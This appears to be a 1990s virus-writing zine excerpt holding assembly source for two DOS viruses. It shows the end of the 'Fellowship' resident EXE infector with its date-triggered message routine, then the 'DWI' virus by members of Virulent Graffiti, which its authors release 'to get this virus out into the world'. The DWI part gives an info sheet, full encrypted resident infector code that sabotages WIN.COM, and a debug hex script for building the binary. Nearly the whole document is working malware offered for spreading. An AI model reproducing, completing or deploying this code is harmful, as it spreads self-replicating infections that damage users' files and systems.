mov byte ptr ds:[0002], 0CFh ; 0CF00:0A5F3h
xor si, si
mov di, si
push cs
pop ds
mov ax, 64h ; program entry
mov cx, endwrite-start ; zopy ieterations
pushf ; fake an interrupt
push es ; return to 1st seg
push ax
db 0EAh ; jmp far ptr 0:0000
db 00h, 00h, 00h, 00h
; on the fake interrupt call, control is transferred to 0000:0000,
; which contains
; rep movsb
; iret
; the movsb takes care of copying the virus to offset 0000 of the
; 1st EXE segment, and then the iret returns the virus to the
; entry point below!
trueentry:
xor ax, ax
mov ds, ax
pop word ptr ds:[0000] ; restore ssi vector
pop word ptr ds:[0002]
sti ; finally... yeesh!
pop es ; PSP segment
mov bx, 80h
mov ax, 4A00h ; decrease allocation
int 21h ; of PSP segment
push cs
pop ds
mov ax, es
mov cmdlinesegment, ax ; construct exec
mov fcb1segment, ax ; parameter block
mov fcb2segment, ax ; (see block above)
mov ax, es:[002Ch]
mov envsegment, ax
mov ax, 3521h ; get int 21h vector
int 21h
mov word ptr ds:[Old21], bx ; save vector
mov word ptr ds:[Old21+2], es
mov dx, offset int_21h_entry ; set int 21h vectr
mov ax, 2521h
int 21h
mov ah, 2Ah ; get date
int 21h
cmp dh, 9 ; the ninth?
jne dontsetflag
or byte ptr cs:[ninthflag], 1 ; flop that flipper
dontsetflag:
cli
mov es, envsegment ; environment segmnt
xor di, di
mov cx, 0FFFFh
mov al, 0
cld
searchloop:
repne scasb ; scan until we
cmp es:[di], al ; meet a dupe of
jne searchloop ; ourselves!
mov dx, di
add dx, 3
push es ; DS = PSP segment
pop ds
mov bx, cs ; stack in us
mov ss, bx ; might clear ints!!
mov es, bx
mov sp, 44Bh ; stack at 44bh
mov bx, offset paramblock
mov ax, 4B00h ; load + exec host
pushf ; fake int 21h
sti
call dword ptr cs:[Old21]
mov es, cs:[envsegment] ; release memory
mov ax, 4900h
int 21h
mov dx, 80h ; terminate and keep
mov ax, 3100h ; us resident!
int 21h
filesave dw 469h, 74Bh
old24 dw 156h, 74Bh
savedvalu1 dw 8E0h
savedvalu2 dw 0
oldattr dw 20h
readbuffer db 4Dh
db 5Ah, 0DBh, 00h, 07h, 00h, 00h
db 00h, 20h, 00h, 00h, 00h, 0FFh
db 0FFh, 00h, 00h, 00h, 00h
negativechksm dw 1990h
db 00h, 00h, 6Eh, 00h, 3Eh
db 39 dup (0)
int_24h_entry:
xor al, al
iret
int_21h_entry:
cmp ax, 0D000h ; RUTHERE?
jne checkforexecute ; No...
mov bx, 1234h
iret
checkforexecute:
cmp ax, 4B00h ; load + execute?
je yeahyeahbaby ; yepparoo
db 0EAh ; jmp far orig 21h
old21 db 9Eh, 10h, 16h, 01h
dw ?, ? ; ?!?
yeahyeahbaby:
push bp ; save caller's
push ax ; registers
push bx
push cx
push dx
push di
push si
push es
push ds
test byte ptr cs:[ninthflag], 1 ; test that flipper
jz notflagged
jmp itstheninthhoney
notflagged:
mov word ptr cs:[filesave], dx ; save file seg:ofs
mov word ptr cs:[filesave+2], ds
mov si, dx
mov ah, 19h ; get default drive
int 21h
mov dl, al ; drive code in DL
cmp byte ptr [si+1], 3Ah ; 2nd letter a ":"
jne notonanotherdisk
mov dl, byte ptr [si] ; get letter
sub dl, 'A' ; reduce to d-code
notonanotherdisk:
inc dl ; add 1, differing fc
mov ah, 36h ; get free space
int 21h
cmp ax, 0FFFFh ; error?
je getthefuckback
xor dx, dx
mul bx ; avail. sectors
mul cx ; avail. bytes
cmp ax, 7D0h ; enough left?
jae enoughleftdoit
or dx, dx ; more than 65535?
jnz enoughleftdoit
getthefuckback:
pop ds ; restore caller's
pop es ; registers
pop si
pop di
pop dx
pop cx
pop bx
pop ax
pop bp
mov ax, 4B00h
jmp dword ptr cs:[Old21] ; go to old 21h
enoughleftdoit:
cld
les di, dword ptr cs:[filesave] ; ES:DI = File seg:ofs
mov cx, 0FFFFh
mov al, 0
repne scasb ; hunt out end
mov al, es:[di-2]
and al, 5Fh ; capitalize
cmp al, 45h ; 'E'
jne getthefuckback ; non an EXE!
lds dx, dword ptr cs:[filesave] ; DS:DX = File seg:ofs
mov ax, 3D00h ; open file
int 21h
jc getthefuckback
mov bx, ax ; !!!
push cs
pop ds
mov dx, offset readbuffer ; read exe header
mov cx, 1Ch
mov ax, 3F00h
int 21h
jc closeitupandleave ; oh, the sins...
cmp word ptr [negativechksm], 1990h ; infected?
jne getonwithit
closeitupandleave:
mov ax, 3E00h ; close file
int 21h
jmp short getthefuckback
getonwithit:
mov ax, 3524h ; get int 24h vector
int 21h
mov word ptr [Old24], bx ; save it
mov word ptr [Old24+2], es
mov dx, offset int_24h_entry ; set int 24f vector
mov ax, 2524h
int 21h
lds dx, dword ptr filesave ; DS:DX = file seg:ofs
mov ax, 4300h
int 21h ; get attributes
jc whatapity ; to err is computer
mov word ptr cs:[oldattr], cx ; save attributes
and cx, 0FEh ; blank the boring
mov ax, 4301h
int 21h ; change attributes
jnc nowramitinthere
whatapity:
lds dx, dword ptr cs:[Old24] ; restore int 24h
mov ax, 2524h ; vector
int 21h
jmp getthefuckback
nowramitinthere:
cld
sti
lds dx, dword ptr cs:[filesave] ; DS:DX = file seg:ofs
mov ax, 3D02h ; open read/write
int 21h
jc whatapity
mov bx, ax ; !!!
push cs
pop ds
mov cx, 200h ; 512 (bytes per par)
mov si, offset readbuffer ; header!
mov ax, [si+16h] ; initial CS
mov word ptr [oldcsip+2], ax
mov ax, [si+14h] ; initial IP
mov word ptr [oldcsip], ax
mov ax, [si+4] ; paragraphs
cmp word ptr [si+2], 0 ; bizzare quirk
je notquirky
dec ax
notquirky:
mul cx ; dx:ax = bytes
add ax, [si+2] ; add modulo
adc dx, 0
add ax, 0Fh ; add 16 mo'
adc dx, 0
and ax, 0FFF0h
mov word ptr [savedvalu1], ax ; save new CS:IP
mov word ptr [savedvalu2], dx ; (still in bytes!!)
add ax, endwrite-start ; add virus length
adc dx, 0
div cx ; cx in paragraphs
or dx, dx
jz notquirkier
inc ax ; quirk again
notquirkier:
mov [si+4], ax ; replace paragraphs
mov [si+2], dx ; replace modulo
mov ax, word ptr [savedvalu1] ; load saved CS:IP
mov dx, word ptr [savedvalu2] ; (still in bytes!!)
mov cx, 10h ; paragraphs
div cx
sub ax, [si+8] ; loose header size
mov [si+16h], ax ; replace IP
mov ax, 0
mov [si+14h], ax ; replace cs
mov word ptr [si+12h], 1990h ; show as infected
mov dx, word ptr [savedvalu1] ; move to end as
mov cx, word ptr [savedvalu2] ; shown by header
mov ax, 4200h
int 21h
mov cx, endwrite-start ; write the virus!
mov dx, offset ds:[0]
mov ax, 4000h ; !!!
int 21h
jc thisistheendmyonlyfriend ; an error, this far?
xor cx, cx ; seek top
mov dx, cx ; !!!
mov ax, 4200h
int 21h
mov dx, offset readbuffer ; write buffer
mov cx, 1Ch
mov ax, 4000h
int 21h
thisistheendmyonlyfriend:
mov ax, 3E00h ; close file
int 21h
lds dx, dword ptr [filesave] ; DS:DX = File Seg:ofs
mov cx, cs:[oldattr] ; restore attribs
mov ax, 4301h
int 21h
jmp whatapity ; restore int 24h
savemode db 0
charcolor db 0
nicemessage1 db 'This message is dedicated to $'
nicemessage2 db 'all fellow PC users on Earth $'
nicemessage3 db ' Towards A Better Tomorrow $'
nicemessage4 db 'And A Better Place To Live In $'
itstheninthhoney:
push cs
pop ds
mov ah, 0Fh ; get video mode
int 10h
mov byte ptr [savemode], al ; save mode
mov ax, 5 ; set mode 40x25
int 10h
mov byte ptr [charcolor], 1
mov dh, 9
call setcursor
mov dx, offset nicemessage1
call printstring
mov dh, 0Ah
call setcursor
mov dx, offset nicemessage2
call printstring
mov byte ptr [charcolor], 2
mov dh, 0Ch
call setcursor
mov dx, offset nicemessage3
call printstring
mov dh, 0Dh
call setcursor
mov dx, offset nicemessage4
call printstring
mov cx, 0FFFFh ; kill time
killloop:
lodsb
loop killloop
xor ax, ax ; wait fo' a key
int 16h
mov al, byte ptr [savemode] ; restore old mode
mov ah, 0 ; on the vid
int 10h
jmp getthefuckback ; GO HOME!
printstring:
cld
mov si, dx
printloop:
lodsb
cmp al, '$'
je alldoneprinting ; end of string
mov ah, 0Eh ; write a byte
mov bh, 0 ; to tha' vid
mov bl, byte ptr [charcolor]
int 10h
jmp short printloop
alldoneprinting:
ret
setcursor:
mov dl, 5 ; set cursor pos
mov ah, 2
mov bh, 0
int 10h
ret
db ' 03/03/90 KV KL MAL ' ; whee...
endwrite:
end start
==========================================================================
; Stand alone demonstration of the Fellowship Virus activation routine.
; Assemble with:
; tasm fbomb /m2
; tlinl fbomb /t
.model tiny
.code
org 0100h
start:
jmp short itstheninthhoney
savemode db 0
charcolor db 0
nicemessage1 db 'This message is dedicated to $'
nicemessage2 db 'all fellow PC users on Earth $'
nicemessage3 db ' Towards A Better Tomorrow $'
nicemessage4 db 'And A Better Place To Live In $'
itstheninthhoney:
push cs
pop ds
mov ah, 0Fh ; get video mode
int 10h
mov byte ptr [savemode], al ; save mode
mov ax, 5 ; set mode 40x25
int 10h
mov byte ptr [charcolor], 1
mov dh, 9
call setcursor
mov dx, offset nicemessage1
call printstring
mov dh, 0Ah
call setcursor
mov dx, offset nicemessage2
call printstring
mov byte ptr [charcolor], 2
mov dh, 0Ch
call setcursor
mov dx, offset nicemessage3
call printstring
mov dh, 0Dh
call setcursor
mov dx, offset nicemessage4
call printstring
mov cx, 0FFFFh ; kill time
killloop:
lodsb
loop killloop
xor ax, ax ; wait fo' a key
int 16h
mov al, byte ptr [savemode] ; restore old mode
mov ah, 0 ; on the vid
int 10h
int 20h
printstring:
cld
mov si, dx
printloop:
lodsb
cmp al, '$'
je alldoneprinting ; end of string
mov ah, 0Eh ; write a byte
mov bh, 0 ; to tha' vid
mov bl, byte ptr [charcolor]
int 10h
jmp short printloop
alldoneprinting:
ret
setcursor:
mov dl, 5 ; set cursor pos
mov ah, 2
mov bh, 0
int 10h
ret
db ' 03/03/90 KV KL MAL ' ; whee...
endwrite:
end start
==========================================================================
====================
DWI Virus Source
By The Attitude Adjuster and AccuPunk
====================
Here's the source to one of our new older viruses... Both 'Punk and
I did a little bit on this one, but, 'Punk thought it all up... I just
kinda fucked around with the code when he said he was bored with it...
Anyway, I can't really give you too much help here, as this code isn't at
all the greatest, but, I include it to get this virus out into the world.
Umm, assemble two pass, and link to an EXE. Modfiy the header to
make the maximum memory allocation equal to the minimum, and the fucker
should run... I'm really not going to test it right now, mainly because
it's late, and I AM releasing this tonight...
===========================================================================
Virus Name: Damn Windows Idiot!
Aliases: Anti-Windows
Author(s): AccuPunk/The Attitude Adjuster
Group: Virulent Graffiti
Scan ID: [DWI]
V Status: Abortion
Discovery: Well, see, we were in LIST.COM and we saw this code...
Symptoms: EXE growth; messages; something to do with WIN.COM
Orgin: WestBumbleFuck, Ohio DipShitPeak, New York
Eff Length: 1063 Bytes
Res Length: 1280 Bytes
Type Code: PRhE - Parasitic Resident EXE Infector
Detection Method:
Removal Instructions: Cry... Delete Windows... Increase wallet space,
hire and Antivirus Professional ("...two words together that can't
make sense!").
General Comments:
DWI will become resident after first checking for it's own
presence in memory. DWI places itself into high memory, and
changes it's MCB owner to the usual DOS MCB owner segment.
This may be changed to retrive the DOS MCB owner from DOS,
in the future, but this suffices at the present.
Int 21h is revectored to Int 30h where the virus uses it for
DOS calls. The FAR PTR at Int 30h+1 is lost.
Upon the execution of any program using Int 21h/Ax=4B00h, DWI
will check the file for an 'MZ' header, and if found, infect
the file, leaving the time, date, and attributes of the file
unchanged.
DWI seems to have an adverse effect on WIN.COM when it is run.
Other than the offensive WIN.COM program, DWI will not harm any
data... If DESQView is found, the host system owner will be wired
$100,000 for choosing a decent multitasking operating system...
err... maybe not, but, we'll not screw any .COM files.
Strings Contained in the Virus:
'[DWI] AccuPunk/The Attitude Adjuster Virulent Graffiti'
'WIN.COM'
Future Revision Notes:
There will probably be no future revisions of DWI. We may optomize
it a little, and rip the engine for use in a planned virus, but,
as I said, there will probably be no DWI-B.
===========================================================================
; [][] [] [] [][][] "Damned Windows Idiot!" or Anti-Windows...
; [] ][ [] [] []
; [] [] [] [] [] An original Viral Artform by
; [] [] [] [] [] [] AccuPunk and The Attitude Adjuster of
; [] ][ [] ][][ [] [] Virulent Graffiti, 216/513/914/602/703!
; [][] ][ ][ [][][]
; "Hey, you... with the shitty logo... Yeah, you! Get over here!"
.model tiny
.code
org 100h
id_word equ '1V' ; Marker Word
; V1 in Lil' Endian
entry:
mov bx, offset endcrypt ; Virus Start
mov cx, (end_write-endcrypt)/2 ; Ieterations
Valu:
mov dx, 0000h ; Xor Word
Crypt_Loop:
xor word ptr cs:[bx], dx ; Xor It (CS Ovr'rd)
ror word ptr cs:[bx], 1 ; Roll it Right!
inc bx
inc bx
loop Crypt_Loop
EndCrypt:
push ds es ; Save Segments
push cs cs ; CS=DS=ES
pop ds es
mov ax, 0ABCDh ; R-U-There?
int 21h
cmp ax, 6969h ; Ax=6969h Vir_Ident
jne put_vir_in_mem ; No.
exit:
pop es ds ; Restore Segments
mov ax, es ; AX = PSP segment
add ax, 10h ; Adjust for PSP
mov cx, ax
add ax, word ptr cs:[stacksave] ; Adjust SS
cli
mov sp, word ptr cs:[stacksave+2] ; Set SP
mov ss, ax ; Set SS
sti
mov bx, word ptr cs:[jmpsave+2] ; Adjust CodeSeg
add bx, cx
push bx ; Save It
mov bx, word ptr cs:[jmpsave] ; Load IP
push bx ; Save It
retf ; Exit Virus
jmpsave dd 0fff00000h ; Point to INT 20h
stacksave dd ? ; Nada.
put_vir_in_mem:
xor ax,ax ; Interrupt Table
mov ds,ax
les bx, dword ptr ds:[21h*4] ; Int 21h Vector
mov word ptr cs:[old_int_21], bx ; Save Int 21h
mov word ptr ds:[30h*4],bx ; Revector 30h
mov word ptr cs:[old_int_21+2], es
mov word ptr ds:[30h*4+2], es
push cs cs ; Restore Segments
pop es ds
mov ax, 5800h ; Get Mem Alloc
int 21h
push ax ; Save Strategy
mov bx, 2
mov ax, 5801h ; Set to Last Fit
int 21h
mov bx, ((end_vir - entry) / 16) + 1
mov ah, 48h ; Allocate Block
int 21h
push ax ; Returned in AX
sub ax, 10h ; Base Ofs 100h
mov es, ax ; Our Segment
mov di, 100h ; Entry = 100h
mov si, di ; Entry = 100h
mov cx, end_write - entry ; Bytes to Zopy
rep movsb
xor cx, cx ; Interrupt Table
push cx
pop ds
cli
mov word ptr ds:[21h*4], offset Int_21_handler ; Set Int 21h
mov word ptr ds:[21h*4+2], ax
sti
pop ax
sub ax, 1
mov es, ax ; Point To MCB
mov word ptr es:[0001], 0008 ; Config = 0008h
mov ax, 5801h ; Reset Strategy
pop bx
int 21h
jmp exit ; Exit Stub
int_21_handler:
push ax bx cx dx si di bp es ds ; Save Registers
cmp ax, 0ABCDh ; R-U-There?
je r_u_there
cmp ax, 4B00h ; DOS Exec?
je exec_call
back_to_dos:
pop ds es bp di si dx cx bx ax ; Restore Registers
db 0eah ; JMP XXXX:YYYY
old_int_21 dd ?
remove_locks:
xor ax,ax ; Interrupt Table
mov ds,ax
les ax, dword ptr cs:[Old24] ; Get Int 24h Vector
mov word ptr ds:[24h*4], Ax ; And Replace It
mov word ptr ds:[24h*4+2], Es
jmp back_to_dos
r_u_there:
mov bp, sp ; Alter AX On Stack
mov word ptr [bp+10h], 6969h
jmp end_int_21
exec_call:
xor ax,ax ; Revector Int 24h
mov ds,ax
les ax, DWord Ptr ds:[24h*4]
mov word ptr cs:[Old24], ax ; Save Old Vector
mov word ptr cs:[Old24+2], es
mov word ptr ds:[24h*4], Offset My24 ; With Our Vector
mov word ptr ds:[24h*4+2], cs
pop es ; Caller's Ds in Es
push es
mov di, dx ; ES:DI -> filename
push cs
pop ds ; DS:SI -> "WIN.COM"
mov si, offset win_com
push si
find_top:
pop si
push si
lodsb ; AL = "W"
mov cx, 128
repnz scasb ; Scan For "W"
je check_it ; Got a "W", Check It
pop si
jmp infect ; Not WIN.COM
check_it:
mov cl, 7
check_char:
lodsb ; Load Next Character
scasb ; and Check it
jne find_top ; Leave if < >
loop check_char
pop si
nuke_windows:
push es
pop ds
mov ax, 3d02h ; Open WIN.COM
int 30h
xchg ax,bx ; Handle in BX
push cs
pop ds
mov ah, 40h ; Write WIN.COM
mov cx, (my24-win_exit)-1
mov dx, offset win_exit ; with CD 20h
int 30h
mov ah, 3eh ; Close File
int 30h
mov ah, 9 ; Show User Message
mov dx, offset win_msg
int 30h
end_int_21:
pop ds es bp di si dx cx bx ax ; Restore Registers
iret
infect: ; File Infection
push es
pop ds
mov si, dx ; DS:SI -> filename
push cs
pop es
mov di, offset fname
LoopAgain: ; Copy filename into
lodsb ; Our CodeSeg.
stosb
or al,al
jnz LoopAgain
push cs ; CS=DS=ES
pop ds
xor ax, ax ; Get Attributes
call attributes
mov word ptr [fattr], cx ; Save Attributes
mov ax, 3D00h ; Open File
int 30h
jc bad_exe
xchg ax, bx ; BX = File Handle
mov ax, 5700h ; Get File Date/Time
int 30h
mov ftime, cx ; Save Time
mov fdate, dx ; And Date
mov ah, 3Fh ; Read Header
mov cx, 1ah
mov dx, offset buffer ; Into Buffer
int 30h
call LSeekEnd ; LSeek the End
push dx ; Save File Size
push ax
mov ah, 3Eh ; Close File
int 30h
cmp word ptr [buffer], 'ZM'
jne worse_exe ; Not an EXE File
cmp word ptr [buffer+12h], id_word
jne good_exe ; Not Infected
worse_exe:
pop dx ; Remove Saved File
pop dx ; Size
bad_exe:
jmp remove_locks ; Abort Infection
good_exe:
mov al, 01h ; Overwrite Attribs
xor cx, cx
call attributes
jc worse_exe ; Catch Write-Prot
; Discs Here
push cs
pop es
mov si, offset buffer + 14h ; Save Initial CS:IP
mov di, offset jmpsave ; In Segment
movsw
movsw
sub si, 10 ; Save Initial SS:SP
movsw
movsw
pop ax dx ; Retrive File Size
push ax dx ; Save It
add ax, offset end_write - offset entry
adc dx, 0
mov cx, 512 ; Pages 512 Bytes
div cx
or dx, dx
jz no_round
inc ax ; Rounding Quirk
no_round:
mov word ptr [buffer + 4], ax ; Set Total 512 pages
mov word ptr [buffer + 2], dx ; Set Total mod 512
mov ax, word ptr [buffer + 0Ah] ; Get Minimum
add ax, (end_write - entry)/16 ; Add our Size
mov word ptr [buffer + 0ah], ax ; Put us in Minimum
mov word ptr [buffer + 0ch], ax ; and in the Maximum
pop dx ax ; Retrieve File Size
mov cl, 4
mov bx, word ptr [buffer + 8]
shl bx, cl ; BX = Header Size
sub ax, bx
sbb dx, 0 ; Subtract Header
mov cx, 10h
div cx ; Change To Para/Rem
or dx, dx
jz no_padding
sub cx, dx ; CX = Bytes to Pad
inc ax
no_padding:
push cx ; Save Pad Bytes
sub ax, 10h
mov word ptr [buffer + 14h], offset entry ; Set IP
mov word ptr [buffer + 16h], ax ; Set CS
mov word ptr [buffer + 0Eh], ax ; Set SS
mov word ptr [buffer + 10h], offset end_vir+100h ; Set SP
move_id:
mov word ptr [buffer + 12h], id_word ; Set ID Word
; Negative Checksum
mov ax, 3D02h ; Open File
mov dx, offset fname
int 30h
xchg ax, bx ; BX = File Handle
mov ah, 40h ; Write File
mov cx, 1Ah
mov dx, offset buffer
int 30h
call LSeekEnd ; LSeek to End
pop cx ; Retrieve Padding
cmp cx, 16
je no_fixup ; None Needed
mov ah, 40h ; Write File
int 30h
no_fixup:
mov ah, 2ch ; Get Time
int 21h
mov word ptr [Valu+1], Dx ; New Crypt Valu
mov si, offset writeret ; Copy Write
mov di, offset tempcrypt ; Routine
mov cx, (end_write-writeret)
rep movsb
call tempcrypt ; Call Write Routine
mov ax, 5701h ; Set File Time/Date
mov cx, ftime
mov dx, fdate
int 30h
mov ah, 3Eh ; Close File
int 30h
mov al, 01h ; Reset Attribs
mov cx, fattr
call attributes
jmp remove_locks ; Remove Int 24h
vir_ident db 0,'[DWI] AccuPunk/' ; Virus and Author
db 'The Attitude Adjuster' ; Idents
vir_group db 0,'Virulent Graffiti',0 ; Group Ident
win_com db 'WIN.COM',0 ; Target File
win_exit db 0cdh, 20h ; DOS Exit
win_msg db 0dh,0ah ; Message
db 'You''ve been caught, you DWI! You''re nothing '
db 'but a Damn Windows Idiot!',0dh,0ah
db 'Well, we at Virulent Graffiti have had it... '
db 'you''re not going to be',0dh,0ah
db 'running that bullshit for a while, ''cuz, hey, '
db 'friends don''t let friends',0dh,0ah
db 'use Windows! (and you''re damn right we''re '
db 'your friends!)',0dh,0ah,'$'
my24: ; Error Handler
mov al, 3 ; Process Terminate
iret
Attributes: ; Get/Set
mov ah, 43h
mov dx, offset fname
int 30h
ret
LSeekEnd:
mov ax, 4202h ; LSeek from End
xor cx, cx
cwd ; XOR DX, DX
int 30h ; Kudos DA
ret
WriteRet:
push bx ; Handle
mov bx, offset endcrypt ; Virus Start
mov cx, (end_write-endcrypt)/2 ; Ieterations
mov dx, Word Ptr [Valu+1] ; Xor Word
Crypt_Loop2:
rol word ptr [bx], 1 ; Roll it Left!
xor word ptr [bx], dx ; Xor It
inc bx
inc bx
loop Crypt_Loop2
pop bx ; Handle
mov ah, 40h ; Write File
mov cx, end_write - entry
mov dx, offset entry
int 30h
push bx ; Handle
mov bx, offset endcrypt ; Virus Start
mov cx, (end_write-endcrypt)/2 ; Ieterations
mov dx, Word Ptr [Valu+1] ; Xor Word
Crypt_Loop3:
xor word ptr [bx], dx ; Xor It
ror word ptr [bx], 1 ; Roll it Left!
inc bx
inc bx
loop Crypt_Loop3
pop bx ; Handle
ret ; Return
end_write:
old24 dd 0 ; Int 24h Vector
buffer db 1Ah dup (0) ; EXE Read Buffer
fname db 128 dup (0) ; Filename Buffer
fdate dw 0 ; OldFileDate
ftime dw 0 ; OldFileTime
fattr dw 0 ; OldFileAttr
tempcrypt:
db (end_write-writeret) Dup(0) ; Write Routine
end_vir:
end entry
===========================================================================
Oh, yea, and, a debug script for all you guys who, like me, had
problems assembling this mis-mash of garbage...
===========================================================================
a
db 4D 5A CE 01 05 00 00 00 02 00 E7 0F E7 0F 4A 00
db F2 06 56 31 00 01 4A 00 1C 00 00 00 00 00 00 00
db BE 30 01 8B FE B9 B1 02 AD 33 06 2E 01 AB E2 F8
db B4 0F CD 10 B4 00 CD 10 B8 03 13 B9 30 02 33 D2
db BD 30 01 CD 10 B4 09 BA 90 05 CD 21 CD 20 3E 2F
db 1E 20 1E 20 1E 20 E2 25 1E 25 1E 25 1E 25 E2 25
db 1E 25 E2 25 E2 25 E2 25 1E 25 E2 25 E2 25 E2 25
db 1E 25 1E 25 E2 25 1E 25 1E 25 E2 25 1E 25 E2 25
db 1E 25 1E 25 1E 25 1E 25 E2 25 E2 25 1E 25 E2 25
db 1E 25 1E 25 E2 25 1E 25 E2 25 E2 25 E2 25 1E 25
db 1E 25 1E 25 1E 25 E2 25 E2 25 E2 25 E2 25 1E 25
db E2 25 E2 25 E2 25 1E 25 1E 25 1E 25 E2 25 1E 25
db 1E 25 1E 25 E2 25 E2 25 1E 25 1E 25 E2 25 E2 25
db 1E 25 E2 25 E2 25 E2 25 1E 25 E2 25 E2 25 E2 25
db 1E 25 E2 25 E2 25 E2 25 1E 20 1E 20 1E 20 1E 20
db 1E 20 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25
db 1E 25 1E 25 E5 25 1E 25 1E 25 E5 25 1E 25 1E 25
db E5 25 1E 25 E5 25 1E 25 1E 25 E5 25 1E 25 E5 25
db 1E 25 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25
db E5 25 E2 25 E5 25 1E 25 1E 25 E5 25 1E 25 1E 25
db 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E1 25 1E 25
db E5 25 1E 25 1E 25 E5 25 1E 25 E5 25 1E 25 E5 25
db 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 1E 25 1E 25
db 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 1E 25
db 1E 25 1E 25 E5 25 1E 20 1E 20 1E 20 1E 20 1E 20
db 1E 20 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25
db 1E 25 1E 25 E5 25 1E 25 1E 25 E5 25 E2 25 E1 25
db 1E 25 1E 25 E5 25 1E 25 1E 25 E5 25 1E 25 E5 25
db 1E 25 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25
db 1E 25 E1 25 E5 25 1E 25 1E 25 E5 25 1E 25 1E 25
db 1E 25 1E 25 E5 25 1E 20 1E 20 1E 20 1E 20 1E 20
db E5 25 E2 25 E1 25 1E 25 E2 25 E1 25 1E 25 E5 25
db 1E 25 E5 25 E1 25 E1 25 1E 25 E5 25 E1 25 E1 25
db 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 1E 25
db 1E 25 1E 25 E5 25 1E 20 1E 20 1E 20 1E 20 1E 20
db 1E 20 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25
db 1E 25 1E 25 E5 25 1E 25 1E 25 E5 25 1E 25 E5 25
db 1E 25 1E 25 E5 25 1E 25 1E 25 E5 25 1E 25 E5 25
db 1E 25 1E 25 1E 25 E5 25 E1 25 1E 25 1E 25 E5 25
db 1E 25 1E 25 E5 25 1E 25 1E 25 E5 25 1E 25 1E 25
db 1E 25 1E 25 E5 25 1E 25 1E 25 E2 25 E2 25 1E 25
db E5 25 1E 25 E5 25 1E 25 E5 25 E2 25 E2 25 E5 25
db 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 1E 25 1E 25
db 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 1E 25
db 1E 25 1E 25 E5 25 1E 20 1E 20 1E 20 1E 20 1E 20
db 1E 20 1E 25 1E 25 1E 25 E5 25 1E 25 E2 25 E1 25
db 1E 25 1E 25 E5 25 1E 25 1E 25 E5 25 1E 25 E5 25
db 1E 25 1E 25 E1 25 E2 25 1E 25 E5 25 1E 25 E5 25
db 1E 25 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25
db 1E 25 1E 25 E5 25 1E 25 1E 25 E5 25 1E 25 1E 25
db 1E 25 1E 25 E1 25 E2 25 1E 25 E2 25 E1 25 1E 25
db E5 25 1E 25 E5 25 1E 25 E5 25 1E 25 1E 25 E5 25
db 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 1E 25 1E 25
db 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 1E 25
db 1E 25 1E 25 E5 25 1E 20 1E 20 1E 20 1E 20 1E 20
db 1E 20 1E 25 1E 25 1E 25 1E 25 E1 25 1E 25 1E 25
db 1E 25 E1 25 E1 25 E1 25 1E 25 E1 25 1E 25 E1 25
db 1E 25 1E 25 1E 25 1E 25 E1 25 E1 25 1E 25 E1 25
db E1 25 E1 25 1E 25 1E 25 E1 25 E1 25 1E 25 E1 25
db 1E 25 1E 25 E1 25 1E 25 1E 25 E1 25 1E 20 1E 20
db 1E 20 1E 20 1E 20 1E 20 E1 25 1E 25 1E 25 1E 25
db E1 25 1E 25 E1 25 1E 25 E1 25 1E 25 1E 25 E1 25
db 1E 25 E1 25 1E 25 1E 25 1E 25 E1 25 1E 25 1E 25
db 1E 25 E1 25 E1 25 E1 25 1E 25 1E 25 E1 25 1E 25
db 1E 25 E1 25 E1 25 E1 25 1E 20 1E 20 1E 20 1E 20
db 1E 20 1E 20 1E 20 1E 20 1E 20 1E 20 1E 20 1E 20
db 1E 20 1E 20 1E 20 1E 20 1E 20 1E 20 1E 20 1E 20
db 68 20 57 20 4C 20 4B 20 4D 20 1E 20 6E 20 4C 20
db 51 20 5A 20 4B 20 5D 20 4A 20 57 20 51 20 50 20
db 1E 20 71 20 4C 20 59 20 5F 20 50 20 57 20 44 20
db 5F 20 4A 20 57 20 51 20 50 20 12 20 1E 20 0C 21
db 0F 21 08 21 11 26 0B 21 0F 21 0D 21 11 26 07 21
db 0F 21 0A 21 11 26 08 21 0E 21 0C 21 11 26 09 21
db 0E 21 0D 21 1E 20 1E 20 1E 20 1E 20 1E 20 1E 20
db 1E 20 1E 20 1E 20 1E 20 1E 20 1E 20 1E 20 1E 20
db 33 25 1E 0F 1E 60 50 4C 5B 0F 5F 48 5F 46 50 03
db 1E 58 5B 0F 49 46 4D 47 1E 5B 51 0F 4A 47 5F 41
db 55 0F 47 40 4B 0F 58 40 4C 0F 47 40 4B 5D 1E 4C
db 56 40 57 4C 5B 0F 51 49 1E 49 57 41 5B 03 1E 5E
db 4B 4E 52 46 4A 56 1E 59 57 5D 4B 5C 33 25 4E 5D
db 51 48 4C 4E 53 42 57 41 59 01 1E 78 5B 0F 5F 5B
db 1E 79 57 5D 4B 43 5B 41 4A 0F 79 5D 5F 49 58 46
db 4A 46 1E 47 5F 59 5B 0F 53 4E 5A 4A 1E 4E 52 43
db 1E 5F 51 5C 4D 46 5C 43 5B 0F 5B 49 58 40 4C 5B
db 4D 0F 4A 40 1E 5C 5B 4A 33 25 4A 47 5F 5B 1E 0F
db 51 5A 4C 0F 5D 40 5A 4A 1E 0F 57 5C 1E 40 58 0F
db 1E 5B 56 4A 1E 4D 5B 5C 4A 0F 4F 5A 5F 43 57 5B
db 47 01 1E 78 5B 0F 1E 58 57 5C 56 0F 47 40 4B 0F
db 52 5A 5D 44 1E 40 50 0F 47 40 4B 5D 1E 5B 5F 5C
db 55 0F 51 49 33 25 52 4A 5F 5D 50 46 50 48 1E 17
db 0E 57 06 19 1E 4E 4D 5C 5B 42 5C 43 47 01 33 25
db 33 25 24 00 00 00 00 00 00 0A 00 01 00 0C 00 01
db BB 13 01 B9 04 02 BA 1F 16 2E 31 17 2E D1 0F 43
db 43 E2 F6 23 1A 03 0A 21 18 6E 8D 48 8D 5D 6C CD
db C4 F5 4A 11 28 06 97 15 36 1E 00 8F 4B 19 1A 85
